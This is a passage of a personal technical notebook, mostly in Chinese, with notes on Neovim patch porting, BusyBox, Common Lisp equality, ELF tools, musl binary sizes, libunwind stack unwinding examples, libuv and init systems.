	Modify	/src/testdir/Make_dos.mak
	Modify	/src/testdir/Make_ming.mak
	Modify	/src/testdir/Make_os2.mak
	Modify	/src/testdir/Make_vms.mms
	Modify	/src/testdir/Makefile
	Add	/src/testdir/test_increment.in
	Add	/src/testdir/test_increment.ok
	Modify	/src/version.c

patch 7.4.754 -> patch 7.4.764 -> patch 7.4.765 -> patch 7.4.782

NA Patches¶

[.777](https://code.google.com/p/vim/source/detail?r=v7-4-777) (README)
[.778](https://code.google.com/p/vim/source/detail?r=v7-4-778) (Coverity warns)
[.779](https://code.google.com/p/vim/source/detail?r=v7-4-779) (CTRL-A bug) (not exist in neovim)
[.780](https://code.google.com/p/vim/source/detail?r=v7-4-780) (Compiler complains)
.781 : has PR now
.782 : CTRL-A and CTRL-X in Visual mode
[.783](https://code.google.com/p/vim/source/detail?r=v7-4-783) (copy_chars, copy_spaces, vim_memset)
.785 : On some systems automatically adding the missing EOL causes problems. [?]
.786 : It is not possible for a plugin to adjust to a changed setting.
.787 : snprintf() isn’t available everywhere. Use vim_snprintf()
[.788](https://code.google.com/p/vim/source/detail?r=v7-4-788) (Can’t build, #ifdef)
[.789](https://code.google.com/p/vim/source/detail?r=v7-4-789) (Using freed memory)
.790 : update .786 test
.791 : has PR now
.792 : Can only conceal text by defining syntax items. [?]
.793 : Can’t specify when not to ring the bell. Add ‘belloff’
[.794](https://code.google.com/p/vim/source/detail?r=v7-4-794) (Make_mvc.mak)
[.795](https://code.google.com/p/vim/source/detail?r=v7-4-795) (fixeol)
[.796](https://code.google.com/p/vim/source/detail?r=v7-4-796) (Compiler warns)
.797 : Crash when using more lines for the command line than ‘maxcombine’.
.798 : Repeating a change in Visual mode does not work as expected.
.799 : Accessing memory before an allocated block. write PR !!!!
- https://github.com/vim/vim/commit/v7-4-799
- https://github.com/vim/vim/commit/9e6863be9717ab317dc2bac13b48a11b54384bb6
.800 : Using freed memory when triggering CmdUndefined autocommands. write PR !!!
- https://github.com/vim/vim/commit/f82470ea64e5117b626d105796ce341de9af439a
.801 : Test for ”:diffoff” doesn’t catch all potential problems. (seems not suit ?)
.802 : Using “A” in Visual mode while ‘linebreak’ is set is not tested.
.803 : C indent does not support C11 raw strings. [?]

其他可能的項目¶

Question: Autocomplete Improvements
- 理想情況應該是有個 general 的 complete 程式，各個 editor 做好 API 接上去
- Atom 的 Autocomplete
Improve large files support
Plugin Package Manager

Plugin Manager¶

vim-plug

Plugin¶

VimAwesome
Neomake
- A plugin for asynchronous :make using Neovim’s job-control functionality. It is inspired by the excellent vim plugins Syntastic and Dispatch.
- https://jacky.wtf/weblog/moving-to-neovim/

Challenge¶

VimGolf - real Vim ninjas count every keystroke!

Reference¶

Vim Registers¶

Advanced Vim registers

Basic System Utils¶

coreutils¶

GNU 的 coreutils 大概是各平台當中支援的 options 最多的， code 也相對複雜許多，但是 GNU 的 code 想必也是經過一些考量才變成那樣的，裡面顧及到的是什麼？這些考量到了現今是否有更好更乾淨的作法？

KLEE: Unassisted and Automatic Generation of High-Coverage Tests for Complex Systems Programs

findutils¶

binutils¶

Reference¶

BusyBox - 人人都該備一個在身邊的執行檔¶

Introduction¶

BusyBox 這專案首次釋出於 1999 年 11 月 4 日，目標是要為嵌入式環境提供一個迷你、單一的靜態連結執行檔，程式撰寫的時候也一直會考量到資源的限制，現在 BusyBox 已經發展成包含數百個常見指令的單一執行檔。

安裝 & 使用¶

$ sudo pacman -S busybox
resolving dependencies...
looking for conflicting packages...

Package (1)        New Version  Net Change

community/busybox  1.23.2-1       0.90 MiB

Total Installed Size:  0.90 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                       [##########################################] 100%
(1/1) checking package integrity                     [##########################################] 100%
(1/1) loading package files                          [##########################################] 100%
(1/1) checking for file conflicts                    [##########################################] 100%
(1/1) checking available disk space                  [##########################################] 100%
(1/1) installing busybox                             [##########################################] 100%
You may want to do setuid on /usr/bin/busybox
chmod 4555 /usr/bin/busybox
$ pacman -Ql busybox
busybox /usr/
busybox /usr/bin/
busybox /usr/bin/busybox
$ ls -l /usr/bin/busybox
-rwxr-xr-x 1 root root 931664 Mar 23 17:43 /usr/bin/busybox
$ file /usr/bin/busybox
/usr/bin/busybox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

裝起來就這麼個執行檔，靜態連結，沒有其他 dependency，總共 931664 bytes (不到 1 MB)，裡面卻包含了眾多系統常見的基本功能：

$ busybox
BusyBox v1.23.2 (2015-03-23 12:42:42 MSK) multi-call binary.
BusyBox is copyrighted by many authors between 1998-2012.
Licensed under GPLv2. See source distribution for detailed
copyright notices.

Usage: busybox [function [arguments]...]
or: busybox --list[-full]
or: busybox --install [-s] [DIR]
or: function [arguments]...

    BusyBox is a multi-call binary that combines many common Unix
    utilities into a single executable.  Most people will create a
    link to busybox for each function they wish to use and BusyBox
    will act like whatever it was invoked as.

Currently defined functions:
    [, [[, acpid, addgroup, adduser, adjtimex, ar, arp, arping, ash, awk, base64, basename,
    bbconfig, beep, blkid, blockdev, bootchartd, brctl, bunzip2, bzcat, bzip2, cal, cat, catv,
    chat, chattr, chgrp, chmod, chown, chpasswd, chpst, chroot, chrt, chvt, cksum, clear, cmp,
    comm, cp, cpio, crond, crontab, cryptpw, cttyhack, cut, date, dc, dd, deallocvt, delgroup,
    deluser, depmod, df, dhcprelay, diff, dirname, dmesg, dnsd, dnsdomainname, dos2unix, du,
    dumpkmap, dumpleases, echo, ed, egrep, eject, env, envdir, envuidgid, ether-wake, expand,
    expr, fakeidentd, false, fatattr, fbset, fbsplash, fdflush, fdformat, fdisk, fgconsole,
    fgrep, find, findfs, flock, fold, free, freeramdisk, fsck, fsck.minix, fstrim, fsync,
    ftpd, ftpget, ftpput, fuser, getopt, getty, grep, groups, gunzip, gzip, halt, hd, hdparm,
    head, hexdump, hostid, hostname, httpd, hwclock, id, ifconfig, ifdown, ifenslave, ifplugd,
    ifup, inetd, init, inotifyd, insmod, install, ionice, iostat, ip, ipaddr, ipcalc, ipcrm,
    ipcs, iplink, iproute, iprule, iptunnel, kbd_mode, kill, killall, killall5, klogd, last,
    less, linux32, linux64, linuxrc, ln, loadfont, loadkmap, logger, login, logname, logread,
    losetup, lpd, lpq, lpr, ls, lsattr, lsmod, lsof, lspci, lsusb, lzcat, lzma, makedevs,
    makemime, man, md5sum, mdev, mesg, microcom, mkdir, mkdosfs, mke2fs, mkfifo, mkfs.ext2,
    mkfs.minix, mkfs.vfat, mknod, mkpasswd, mkswap, mktemp, modinfo, modprobe, more, mount,
    mountpoint, mpstat, mt, mv, nameif, nbd-client, nc, netstat, nice, nmeter, nohup,
    nslookup, ntpd, od, openvt, passwd, patch, pgrep, pidof, ping, ping6, pipe_progress,
    pivot_root, pkill, pmap, popmaildir, poweroff, powertop, printenv, printf, ps, pscan,
    pstree, pwd, pwdx, raidautorun, rdate, rdev, readahead, readlink, readprofile, realpath,
    reboot, reformime, renice, reset, resize, rev, rfkill, rm, rmdir, rmmod, route, rpm2cpio,
    rtcwake, run-parts, runlevel, runsv, runsvdir, rx, script, scriptreplay, sed, sendmail,
    seq, setarch, setconsole, setfont, setkeycodes, setlogcons, setserial, setsid, setuidgid,
    sh, sha1sum, sha256sum, sha3sum, sha512sum, showkey, shuf, slattach, sleep, smemcap,
    softlimit, sort, split, start-stop-daemon, stat, strings, stty, su, sulogin, sum, sv,
    svlogd, swapoff, swapon, switch_root, sync, sysctl, syslogd, tac, tail, tar, taskset,
    tcpsvd, tee, telnet, telnetd, test, tftp, tftpd, time, timeout, top, touch, tr,
    traceroute, traceroute6, true, tty, ttysize, tunctl, tune2fs, ubiattach, ubidetach,
    ubimkvol, ubirmvol, ubirsvol, ubiupdatevol, udhcpc, udhcpc6, udhcpd, udpsvd, umount,
    uname, uncompress, unexpand, uniq, unix2dos, unlink, unlzma, unxz, unzip, uptime, users,
    usleep, uudecode, uuencode, vconfig, vi, vlock, volname, wall, watch, watchdog, wc, wget,
    which, who, whoami, whois, xargs, xz, xzcat, yes, zcat, zcip

這麼多功能，這樣的檔案大小，當然不是像 GNU coreutils 那樣有一大堆的 options 支援，但是作為基本的功能還是有的，其中甚至有 httpd 可以當作小小的 SimpleHTTPServer 來使用。

使用方式可以把要用的指令接在 BusyBox 後頭 (例如 $ busybox ls)，或者用 symbolic link 來換成想要的指令 (例如 $ ln -s busybox ls; ./ls)，可以這麼做的原因是 BusyBox 會根據 argv[0] 來判斷要執行的 command，如果 argv[0] 是 busybox 的話就吃 argv[1] 來決定 command，不然就直接用 argv[0] 來決定 command。

Build From Source¶

$ git clone git://git.busybox.net/busybox
$ cd busybox
$ make menuconfig   # 或 oldconfig/defconfig，可以選擇要編進去的功能
$ make -j4
$ ls -l busybox
-rwxr-xr-x 1 dv users 831440 Aug  9 12:34 busybox

Reference¶

Cache¶

Example¶

O* nuances

	Traversal	Cache Misses in Traversal
Array	O(N)	O(0)
Linked List	O(N)	O(N)

Continuous Integration¶

Travis CI
- Linux
- Mac
AppVeyor
- Windows

Common Lisp¶

Equality¶

http://stackoverflow.com/questions/547436/whats-the-difference-between-eq-eql-equal-and-equalp-in-common-lisp

function	comparison
=	value of numbers
eq	memory address
eql	memory address, than type & value of numbers
equal	structure, values
equalp	like equal, but type insensitive for numbers, case insensitive for char/strings

=¶

just compares value of numbers

(= 4 4.0)
=> T

(= 6/4 1.5)
=> T

(= 'r 't)
=> *** - =: R is not a number

(= 4.0 #c(4.0 0))
=> T

eq¶

看是不是同個 memory address

eq 因為比的是 memory address，所以一些結果會是 implementation-dependent，例如 numbers 或 characters 可能會是同個 address

(eq 1 1)
=> T

(eq 'a 'a)
=> T

(eq '(1) '(1))
=> NIL

(eq '(a) '(a))
=> NIL

(setq x (cons 'a 'b))
=> (A . B)

(setq y x)
=> (A . B)

(eq x y)
=> T

(eq x (cons 'a 'b))
=> NIL

(eq (cons 'a 'b) (cons 'a 'b))
=> NIL

eql¶

先看是不是同個 memory address，不是的話再檢查是否為同 type 和 value 的 numbers

(同 type、value 的 number 會不會是同個 memory address 要看實作)

equal¶

檢查是否為同樣結構、有相同 value 的 objects

(eql (cons 'a 'b) (cons 'a 'b))
=> NIL

(equal (cons 'a 'b) (cons 'a 'b))
=> T

equalp¶

類似 equal，但是 numbers 是 type insensitive，chars 或 strings 是 case insensitive

(equal 1 1.0)
=> NIL

(equalp 1 1.0)
=> T

(equal "a" "A")
=> NIL

(equalp "a" "A")
=> T

Books¶

Practical Common Lisp

Reference¶

Why We Hate Lisp

Concurrency¶

Open Source 專案貢獻¶

自己使用了大量的 Open Source 軟體，但卻沒有做太多實質的貢獻，開始紀錄少有的貢獻來警惕自己。

PR¶

markdown-syntax-zhtw
- 修文件 Add browser extension “Markdown Here #7”
howdoi
- 修 Python3 下的 output Fix output in Python 3 #69
wagtail
- 幫翻譯 Traditional Chinese translation #230
- 修 HTML tag fix wrong closing tag #404
CPython
- 修 trafile CLI Issue #23421: Fixed compression in tarfile CLI.
- 修行為/文字 Issue #24774: inconsistency in http.server.test
pcmanx
- 修錯字 fix typo #23
igprof
- 清行尾空白 remove trailing space #65
re2
- 幫忙用 Python 爬 benchmark 結果，再用 gnuplot 生圖表 benchlog: Add gnuplot support
APAC2015WebContent
- 修錯字 fix typo of “Requests” #65
Neovim
- porting Vim Patch 7.4.799
- version.c mark patches NA

Issue Only¶

readthedocs.org
- wrong link for “Edit on GitHub” of README.rst (if index.rst does not exist) #1550

Developer (with other people, not just myself)¶

coredump¶

Arch Linux 上預設的 coredump 位置： /var/lib/systemd/coredump/

$ coredumpctl gdb PATTERN

(gdb) info registers
eax            0x7e 126
ecx            0x7fffff81   2147483521
edx            0xf76d0870   -143849360
ebx            0x0  0
esp            0xffddfb60   0xffddfb60
ebp            0x3167953b   0x3167953b
esi            0x1  1
edi            0xf76cf000   -143855616
eip            0x5f892161   0x5f892161
eflags         0x10286      [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99


(gdb) info registers
rax            0x0  0
rbx            0x0  0
rcx            0x0  0
rdx            0x7fffffffe8e8       140737488349416
rsi            0x7fffffffe8d8       140737488349400
rdi            0x1  1
rbp            0x7fffffffe7e0       0x7fffffffe7e0
rsp            0x7fffffffe7d0       0x7fffffffe7d0
r8             0x4006d0     4196048
r9             0x7ffff7dea4e0       140737351951584
r10            0x833        2099
r11            0x7ffff7a596a0       140737348212384
r12            0x4004f0     4195568
r13            0x7fffffffe8d0       140737488349392
r14            0x0  0
r15            0x0  0
rip            0x4005ff     0x4005ff <hook+8>
eflags         0x202        [ IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0

Reference¶

Arch Wiki - Core dump

DSL (Domain-Specific Languages)¶

Books¶

DSL Engineering - Designing, Implementting and Using Domain-Specific Languages

ELF¶

ELF = Executable and Linkable Format

ELF Object Files¶

Relocatable file¶

此種 object file 是 relocatable 的，可以和其他 relocatable files 產生出 executable binary 或 shared object file

gcc -Wall -c test.c -o test.o   # use -c to avoid linking

Shared object file¶

用於讓 dynamic linker 結合其他 executable object file 來讓程式可以正確執行

gcc -c -Wall -Werror -fPIC shared.c     # -fPIC for position-independent code
gcc -shared -o libshared.so shared.o

http://en.wikipedia.org/wiki/Position-independent_code

Executable file¶

gcc -Wall test.c -o test

ELF Header¶

readelf¶

readelf -h /bin/ls  # -f for file header

result :

ELF Header:
  Magic:   7f 45 4c 46 02 01 01 09 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - FreeBSD
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401dc0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          31000 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         8
  Size of section headers:           64 (bytes)
  Number of section headers:         28
  Section header string table index: 27

objdump¶

可以印出指定 section 的內容

objdump -j .data -s /bin/ls

result:

/bin/ls:     file format elf64-x86-64-freebsd

Contents of section .data:
 607440 39634000 00000000 00000000 00000000  9c@.............
 607450 18706000 00000000 00000000 00000000  .p`.............
 607460 50000000 00000000 00000000 00000000  P...............
 607470 80746000 00000000 00000000 00000000  .t`.............
 607480 2e000000 ffffffff 02000000 ffffffff  ................
 607490 ffffffff ffffffff                    ........

ELF View¶

assembler 或 linker 處理過後，可以被 CPU 執行的檔案是處於 linking view 的

loader 把程式載到 memory 後，object file 會是 execution view

Resource¶

ELF101
Executable and Linkable Format - Wikipedia
Linux ELF Object File Format (and ELF Header Structure) Basics
ELF（Executable and Linking Format）格式教學文件
jserv - 深入淺出 Hello World
ELF - 陳鍾誠

Erlang¶

初步聽了 Erlang 的介紹，感覺受 Prolog 影響很深 (當初的實作據說就是 Prolog 寫的)。變數需要大寫，小寫的都是 atom， atom 會直接放到 atom table (太大會爆掉)，常用 pattern matching，另外有 Erlang 的 if 是 Guard (需要包含所有可能，不然就是最後寫 true 的 condition)。

沒有變數，只能 initialize 新 constant，不能 assign，所以沒有 data race 問題， mutiprocesses 下是用 actor model 和 message passing 溝通。

目前常用的實作為 BEAM， Erlang 可以編成 BEAM bytecode 再丟到 VM 上執行， BEAM 包含 copying generational GC。

NIF (Natively Implemented Function)¶

a shorthand for replacing Erlang code with C

DS (Dirty Scheduler)¶

Reference¶

FFmpeg¶

Introduction¶

FFmpeg 最早是在 2000 年由 Fabrice Bellard 撰寫的多媒體資料處理的 library，在 2004 年由 Michael Niedermayer 接手管理，後來 Michael Niedermayer 於 2015 年 7 月 31 日宣佈辭去領導人的位置。

分裂 - Libav¶

Libav 是 FFmpeg 的分支，一群 FFmpeg 開發者因為在專案維護、發展上跟 FFmpeg 領導人衝突，在 mailing list 上爭吵了很久，最後在 2011 年 3 月 13 日宣佈正式分支出去 (後來當時 FFmpeg 的領導人 Michael Niedermayer 依然會把 Libav 的 commit 都 merge 回 FFmpeg)。

Reference¶

file command¶

$ file --version
file-5.24
magic file from /usr/share/file/misc/magic

[GitHub] file/file

Garbage Collection¶

Background¶

Reference Counting¶

問題在 reference cycle，會需要一個 cycle detect algorithm 來爬過所有 objects，但這就會產生 ondeterministic GC pause

Tracing¶

mark-and-sweep¶

Generational¶

Generational garbage collection 的核心觀念就是 “大多數的物件的生命都很短”，所以就修改原本的 GC 設計，依照不同的存在時間有不同的處理方式，對於 Tracing 的 GC 會需要去掃過物件來檢查是否有物件已經成為 Garbage，當程式會製造出大量的物件時，檢查的時間就會上升，這時如果用已經存在的時間來區分，而做不同的處理方式時，多數的短期物件就可以更快的被回收，也不必頻繁檢查會長期存在的物件。

SpiderMonkey 利用了這種方式來讓 temporary objects 的 penalty 下降

Nursery & Tenured¶

多數的 objects 都會 allocate 到一個叫做 Nursery 的 memory region，當 Nursery 滿的時候，只檢查 Nursery 裡的 objects，此時多數的 short-lived temporary objects 就會被清掉，而這樣的檢查相對於原本 (檢查全部的 objects) 也來的快

此時，依然存活的 objects 就會被放到 Tenured region

Tenured heap 仍然會回收 grabage，但是頻率會比 Nursery 來的低

最終然會需要原整的 GC，但是頻率也會比 Nursery GC 來的低

所以就分成下面這種情況

Garbage Collection	Scan Place	frequency	speed
minor GCs	Nursery	high	fast
major GCs	full heap	low	slow

memory region	age
Nursery	young
Tenured	old

Incremental¶

拆散整個 GC 過程，把每次暫停的時間縮短

Google OnHub¶

Google OnHub 是最近 (2015-08) 推出的一款 router，特點是有經過很多設計考量，例如：

桶狀 (為了散熱)
支援 802.11 ac (其中意味著可以有 MU-MIMO)
13 根天線 (3x3 2.4 GHz, 3x3 5 GHz, 1 AUX) (3T3R，3 Transmitter & 3 Receiver)
更易懂的燈號
自動偵測環境來調整設定
天線都配有類似衛星的小耳朵，讓訊號可以往某個方向強化
精緻的外觀 (讓使用者願意擺在明顯處，增加訊號強度)
用喇叭傳遞超音波讓 Android device 更安全地建立連線

Reference¶

init systems¶

init 是 initialization 的縮寫，在 Unix-like 系統中，指的是系統的第一隻程式，會作為 daemon 一直存在，直到系統關掉才結束，也因此 init 會是系統上所有其他程式直接或間接的祖先， pid 通常為 1。

Research Unix-style/BSD-style
- Research Unix init
  
  會去執行寫在 /etc/rc 的 shell scripts
  
  沒有 runlevels
  
  新軟體可能會需要去更動已經可以正常運作的檔案，有造成系統不能正常啟動的風險
- BSD init (4.3BSD 之前)
  
  和 Research UNIX init 相同
- BSD init (4.3BSD)
  
  加入 windowing system 支援 (例如 X)
  
  加入 /etc/rc.local 支援，會在 boot 的最後用 sub-shell 去執行，如此一來有很多程式不用直接去改 /etc/rc
- BSD rc.d system (源自 NetBSD 1.5，移植到 FreeBSD 5.0 以及其他 BSD 家族)
  
  script 放在 /etc/rc.d 目錄底下
  
  每隻 script 標上 dependency tags
  
  執行順序由 rcorder script 決定
SysV-style
- SysV init
  
  源自 AT&T’s UNIX System III，後來經過一些更動後發行於 UNIX System V
  
  事先會決定好 runlevels
  
  runlevel 切換前會先執行一些 per-runlevel 的 scripts
Replacements for init
- systemd, a full replacement for init in Linux with concurrent starting of services and other features, used by influential Linux distributions
- Upstart, a full replacement of init designed to start processes asynchronously initiated by Ubuntu
- OpenRC, a process spawner that utilizes system-provided init, while providing process isolation, parallelized startup, and service dependency; used by Gentoo and its derivatives
- Mudur, an init replacement written in Python and designed to start process asynchronously in use by the Pardus Linux distribution
- ...

Reference¶

Intel¶

Skylake’s graphics architecture: Intel is still gunning for dedicated GPUs

JIT For Processors¶

Transmeta 的微處理器有使用 Code Morphing Software 這項技術來支援 x86 的指令 (原本是支援不同的指令)。

NVIDIA 的 Project Denver 原本也要用當初 Transmeta 的技術來同時支援 ARM 和 x86 指令，但是後來跟 Intel 的專利談不隴，所以沒有走這個方向。

Reference¶

KVM¶

Realtime KVM

Languages¶

性質：

Wikipedia - Homoiconicity

OCaml¶

Real World OCaml

Haskell¶

Julia¶

Julia 用 LLVM 當來做底部優化、產生各平台上 optimized 過的 JIT machine code

那些 libc 們¶

一些 libc 實作¶

BSD libc, implementations distributed under BSD operating systems.
GNU C Library (glibc), used in Linux, GNU Hurd and GNU/kFreeBSD.
Microsoft C Run-time Library, part of Microsoft Visual C++
dietlibc, an alternative small implementation of the C standard library (MMU-less)
μClibc, a C standard library for embedded μClinux systems (MMU-less)
Newlib, a C standard library for embedded systems (MMU-less)
klibc, primarily for booting Linux systems.
musl, another lightweight C standard library implementation for Linux systems
Bionic, originally developed by Google for the Android embedded system operating system, derived from BSD libc.

musl¶

musl 的目標就要寫出乾淨、有效率、符合標準的 libc 實作，對於 static linking 也比較有效率，目前有部份 Linux distrubutions 把 musl 當作預設的 libc (而不是 glibc)，例如 OpenWRT、Alpine Linux、Void (Linux) 等等。

在 ArchLinux 上可以直接用 pacman 安裝，或是從 AUR 抓下來自己 build

$ sudo pacman -S musl
$ cat /usr/bin/musl-gcc
#!/bin/sh
exec "${REALGCC:-gcc}" "$@" -specs "/usr/lib/musl/lib/musl-gcc.specs"
$ musl-gcc -static hello.c -o hello; strip hello; ls -l hello

Static Linked Binary’s Size Comparision¶

C Code :

#include <stdio.h>

int main () {
    printf("Hello World!\n");
}

Result :

# glibc

$ gcc -static hello.c -o hello; strip hello; ls -l hello
-rwxr-xr-x 1 dv users 738808 Jul 22 19:29 hello
$ clang -static hello.c -o hello ; strip hello ; ls -l hello
-rwxr-xr-x 1 dv users 734776 Jul 22 19:32 hello

# BSD libc

$ gcc -static hello.c -o hello; strip hello; ls -l hello
-rwxrwxr-x  1 wdv4758h  wheel  427408 Jul 22 19:31 hello*
$ clang -static hello.c -o hello ; strip hello ; ls -l hello
-rwxrwxr-x  1 wdv4758h  wheel  427264 Jul 22 19:31 hello*

# musl

$ musl-gcc -static hello.c -o hello; strip hello; ls -l hello
-rwxr-xr-x 1 dv dv 5376 Jul 22 22:05 hello
$ musl-clang -static hello.c -o hello; strip hello; ls -l hello
-rwxr-xr-x 1 dv dv 14632 Jul 22 22:06 hello

Reference¶

librt¶

librt.so : realtime functions in glibc

libunwind¶

Introduction¶

libunwind 是一個跨平台的 C API，提供取得程式 call-chain 的方式，原先由 HP 開發，以 MIT 授權釋出。

一般會把 call stack 上加入 subroutine 進入點的動作稱為 winding ，而反過來則稱為 unwinding ， C 的 return 就是一個 unwinding 的例子，但是使用 libunwind 的話可以一次 unwind 好幾個 function，除此之外可以取得 call stack 的資訊，藉此獲得 backtrace、原先的呼叫點。

Example¶

Build libunwind¶

$ git clone git://git.sv.gnu.org/libunwind.git
$ cd libunwind
$ ./autogen.sh
$ ./configure --prefix=/usr/local/
$ make -j8
$ make install

# test
$ make check

# bench
$ cd tests
$ make perf

Backtrace¶

backtrace.c :

#define UNW_LOCAL_ONLY  // We only need local unwinder.
                        // On x86_64 machine, you will need to link with libunwind-x86_64 without this define.

#include "libunwind.h"

#include <stdio.h>      // printf

void show_backtrace() {
    unw_cursor_t cursor;
    unw_context_t uc;
    unw_word_t ip, sp;
    char buf[4096];
    unw_word_t offset;
    unw_getcontext(&uc);            // store registers
    unw_init_local(&cursor, &uc);   // initialze with context

    printf("==========\n");

    while (unw_step(&cursor) > 0) {                         // unwind to older stack frame
        unw_get_reg(&cursor, UNW_REG_IP, &ip);              // read register, rip
        unw_get_reg(&cursor, UNW_REG_SP, &sp);              // read register, rbp
        unw_get_proc_name(&cursor, buf, 4095, &offset);     // get name and offset
        printf("0x%016lx <%s+0x%lx>\n", ip, buf, offset);   // x86_64, unw_word_t == uint64_t
    }

    printf("==========\n");
}

void func() {
    show_backtrace();
}

int main() {
    show_backtrace();
    func();
    show_backtrace();
    return 0;
}

Build and Run :

# libunwind.h use sys/ucontext.h, which need GNU11 instead of pure C11
$ gcc -std=gnu11 -Wall -lunwind backtrace.c -o backtrace
$ ./backtrace
==========
0x0000000000400914 <main+0x14>
0x00007fa19af32790 <__libc_start_main+0xf0>
0x00000000004006f9 <_start+0x29>
0x0000000000000000 <+0x29>
==========
==========
0x00000000004008f9 <func+0x9>
0x0000000000400919 <main+0x19>
0x00007fa19af32790 <__libc_start_main+0xf0>
0x00000000004006f9 <_start+0x29>
0x0000000000000000 <+0x29>
==========
==========
0x000000000040091e <main+0x1e>
0x00007fa19af32790 <__libc_start_main+0xf0>
0x00000000004006f9 <_start+0x29>
0x0000000000000000 <+0x29>
==========

Unwind¶

unwind.c :

#define UNW_LOCAL_ONLY  // We only need local unwinder.
                        // On x86_64 machine, you will need to link with libunwind-x86_64 without this define.

#include "libunwind.h"

#include <stdio.h>      // printf

void skip_func() {
    unw_cursor_t cursor;
    unw_context_t uc;

    unw_getcontext(&uc);
    unw_init_local(&cursor, &uc);
    unw_step(&cursor);
    unw_step(&cursor);
    unw_resume(&cursor);            // restore the machine state
    printf("will be skipped\n");    // won't be executed
}

void skipped_func() {
    skip_func();
    printf("will be skipped\n");    // won't be executed
}

int main() {
    printf("start\n");
    skipped_func();
    printf("end\n");
    return 0;
}

Build and Run :

$ gcc -std=gnu11 -Wall -lunwind unwind.c
$ ./unwind
start
end

Use getcontext/setcontext to unwind¶

[待研究細節] source code 來自《Binary Hacks》，目前嘗試 x86 版 (-m32) 用 gcc 邊完後可以正常執行完， clang 編的話則是結束後會 coredump。x86_64 版本則是連用 gcc 編都會在結束時 coredump。需要再研究細節，還有結構需要的調整。

x86¶

#define _GNU_SOURCE

#include <stdio.h>
#include <ucontext.h>

typedef struct layout {
    struct layout *ebp;
    void *ret;
} layout;

void skip_func() {
    ucontext_t uc;
    layout *ebp = __builtin_frame_address(0);
    ebp = ebp->ebp;

    getcontext(&uc);
    uc.uc_mcontext.gregs[REG_EIP] = (unsigned int)ebp->ret;
    uc.uc_mcontext.gregs[REG_EBP] = (unsigned int)ebp->ebp;
    setcontext(&uc);
    printf("will be skipped\n");    // won't be executed
}

void skipped_func() {
    skip_func();
    printf("will be skipped\n");    // won't be executed
}

int main() {
    printf("start\n");
    skipped_func();
    printf("end\n");
    return 0;
}

x86_64¶

#define _GNU_SOURCE

#include <stdio.h>
#include <ucontext.h>

typedef struct layout {
    struct layout *rbp;
    void *ret;
} layout;

void skip_func() {
    ucontext_t uc;
    layout *rbp = __builtin_frame_address(0);
    rbp = rbp->rbp;

    getcontext(&uc);
    uc.uc_mcontext.gregs[REG_RIP] = (unsigned long)rbp->ret;
    uc.uc_mcontext.gregs[REG_RBP] = (unsigned long)rbp->rbp;
    setcontext(&uc);
    printf("will be skipped\n");    // won't be executed
}

void skipped_func() {
    skip_func();
    printf("will be skipped\n");    // won't be executed
}

int main() {
    printf("start\n");
    skipped_func();
    printf("end\n");
    return 0;
}

libunwind - test ptraace¶

http://git.savannah.gnu.org/cgit/libunwind.git/plain/tests/test-ptrace.c

Reference¶

The libunwind project
libunwind documentation
Wikipedia - Call stack
Wikipedia - setcontext
- specified in POSIX.1-2001
- POSIX.1-2004 obsoleted these functions
- in POSIX.1-2008 they were removed
《Binary Hacks》 - #73
Linaro Wiki - ZachWelch - libunwind
Linaro Wiki - KenWerner - libunwind
Linaro - ARM32/64: perf: dwarf stack frame unwinding support
Linaro - Git Hosting - libunwind.git
[2011] Stack frame unwinding on ARM
libunwind - src/x86_64/getcontext.S
libunwind - src/x86_64/setcontext.S
stacktrace with libunwind and elfutils
libdwarf and libunwind
[LLVM] New libunwind implementation in libc++abi
- [GitHub] llvm-mirror/libunwind

libuv¶

OS	API
Linux	epoll
BSD family	kqueue
Windows	IOCP

libevent¶

libevent 和 libev 和 libuv 三者中歷史最悠久的 library，於 2002 年開始開發，對各個 event 提供 callback function 的機制來進行處理。

使用者：

Google Chrome
Memcached
Transmission
ntpd
Tor

libev¶

libuv¶

libuv 原先是為了設計給 Node.js 用的一個 C library，一開始是 libev 的 wrapper，因為當時 libev 不支援 Windows 的 IOCP (Windows 上類似 epoll、kqueue 的機制)，後來拿掉 libev 這個 dependency 成為獨立的跨平台 asychronous I/O library，後續增加一些抽象化跟功能，例如 threads、threadpools、inter-thread communication。

使用者：

Node.js
Julia
Luvit (Asynchronous I/O for Lua)
pyuv
Neovim
...

Reference¶

Wikipedia - libuv
[GitHub] libuv/libuv
unix: remove libev
- libuv 去除 libev 的一些原因
How does libuv compare to Boost/ASIO?
- 提供了非常詳細的比較

Linux Laptop GPU¶

NVIDIA¶

名稱	用途
bumblebee	daemon & client，讓使用 GNU/Linux 的筆電可以支援 NVIDIA Optimus
bbswitch	不用時關掉 NVIDIA GPU
primus / virtualgl	render/display bridge

Arch Wiki - Bumblebee

Linux Porting¶

ModemManager¶

ModemManager

Multicall Binary¶

Multicall Binary 指的是一個 binary 檔，可以同時包含好幾隻不同的程式，依照執行這 binary 的方式而決定要跑裡面的哪種程式，這技巧的知名例子就是 BusyBox，把撰寫的許多 command 編在一起，共用許多部份，藉此達到省空間的目的 (BusyBox 的目標是跑在資源相對有限的嵌入式系統)，達到這效果的方式則是利用 argv[0] 來做判斷，如果名稱是內部程式之一的話，就去執行該程式的部份，因此可以看到諸多個指令都只是 BusyBox 的 symbolic link，但執行起來效果卻不同。

例如這個樣子：

-rwxr-xr-x 1 root root 931664 Aug  9 13:19 busybox*
lrwxrwxrwx 1 root root      7 Aug  9 13:20 ls -> busybox*
lrwxrwxrwx 1 root root      7 Aug  9 13:20 pwd -> busybox*

Reference¶

名詞釐清¶

記一下目前的理解

+-------------------------+
|              +----------|-----------------------------+
|              | +--------|-------+                     |
|              | |        |       |                     |
|              | |        |       |                     |
|  Parallelism | | Multithread    |    Concurrency      |
|              | |        |       |                     |
|              | |        |       |                     |
|              | +--------|-------+                     |
|              +----------|-----------------------------+
+-------------------------+

